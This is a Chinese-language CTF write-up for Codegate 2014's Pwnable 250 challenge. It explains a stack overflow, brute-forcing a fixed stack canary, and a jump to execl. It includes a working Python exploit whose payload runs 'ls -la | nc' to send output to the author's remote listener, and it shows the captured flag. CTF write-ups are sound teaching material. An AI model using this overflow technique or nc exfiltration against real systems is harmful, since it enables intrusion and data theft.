over 3 years ago

Pwnable 250, 原題目 server https://github.com/csie217/ctf/raw/master/codegate2014pre/angry_doraemon
連上 port 8888 會有一些操作可以作。分析 server 後找到一些可疑的部份:

sub_8048B30 (1.Sword)
if ( HP_dword_804B078 == 31337 )
    execl("/bin/sh", "sh", 0);
sub_8048FC6 (4.Throw mouse)
int buf; // [sp+22h] [bp-16h]@1
...
write(fd, "Are you sure? (y/n) ", 0x14u);
read(fd, &buf, 110u);
...
result = *MK_FP(__GS__, 20) ^ v10;
if ( *MK_FP(__GS__, 20) != v10 )
    __stack_chk_fail(v2, v1);
return result;
sub_8049100 (5.Fist attack)
write(fd, "(special attack?!)\n", 0x13u);
read(fd, &buf, 4u);
if ( BYTE3(buf) == 8 ) goto LABEL_8;
buf();

其中 Fist attack 裡雖然可以直接 call 某個地址,但因為 ASLR 沒有辦法準確跳到 shared library 裡,且因為 filter 的關係沒辦法跳到程式本身的其它地方。在 Sword 裡有個血量為 31337 時就開 shell 的代碼,但血量被控制在 0~100 之間,而且就算有 /bin/sh 也沒用,因為 read/write 是從 socket 送回來的 (fd=4)。

所以我們在 Throw mouse 中進行溢出,但有 stack guard 需要想辦法處理。因為這個 service 是直接 fork() 出來的,而且沒有隨機 stack guard 的部份,所以是固定的值。我們可以每次多覆蓋一個 byte 並嘗試值 0~255,如果 crash 了就代表錯了,否則就是該 byte 的正確值。這樣我們可以一個個 byte 試出 stack guard (0x84c38b00), 前個 stack frame 的 ebp (0xbfb0a7f8), return address, socket fd 等 stack 上的數值。

可以跳轉任意位址後,我們就可以跳到 Sword 裡的 call execl() (位址在 0x08048c79),但參數要先準備好。我們在本地開了 port 8889 接收 server 上 nc 回來的結果。execl() 的參數為 /bin/sh, sh (借用原本就有的 0x0804970d, 0x0804970a), -c, cat key | nc 140.112.XXX.XXX 8889 (由前個 frame 的 ebp 可以推算出它們的位址 0xbfb0a7d4, 0xbfb0a7d8)。完整代碼如下:

import time
import socket
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('58.229.183.18',8888))
while True:
    s = st.recv(1000)
    if 'Give up\n>' in s:
        break
st.send('4\n')
print st.recv(4096)
st.send('nnnnaaaabb\x00\x8b\xc3\x84\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xa7\xb0\xbf'+\
        '\x79\x8c\x04\x08'+'\x0d\x97\x04\x08'+'\x0a\x97\x04\x08'+\
        '\xd4\xa7\xb0\xbf'+'\xd8\xa7\xb0\xbf'+'\x00\x00\x00\x00'+\
        '-c\x00\x00'+'ls -la | nc 140.112.XXX.XXX 8889\x00')

本地接收到 key

$ nc -vvlp 8889
listening on [any] 8889 ...
58.229.183.18: inverse host lookup failed: Unknown host
connect to [140.112.XXX.XXX] from (UNKNOWN) [58.229.183.18] 43136
CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP
 sent 0, rcvd 35
← Codegate CTF Preliminary 2014 Clone Technique Writeup Boston Key Party CTF 2014 risc_emu →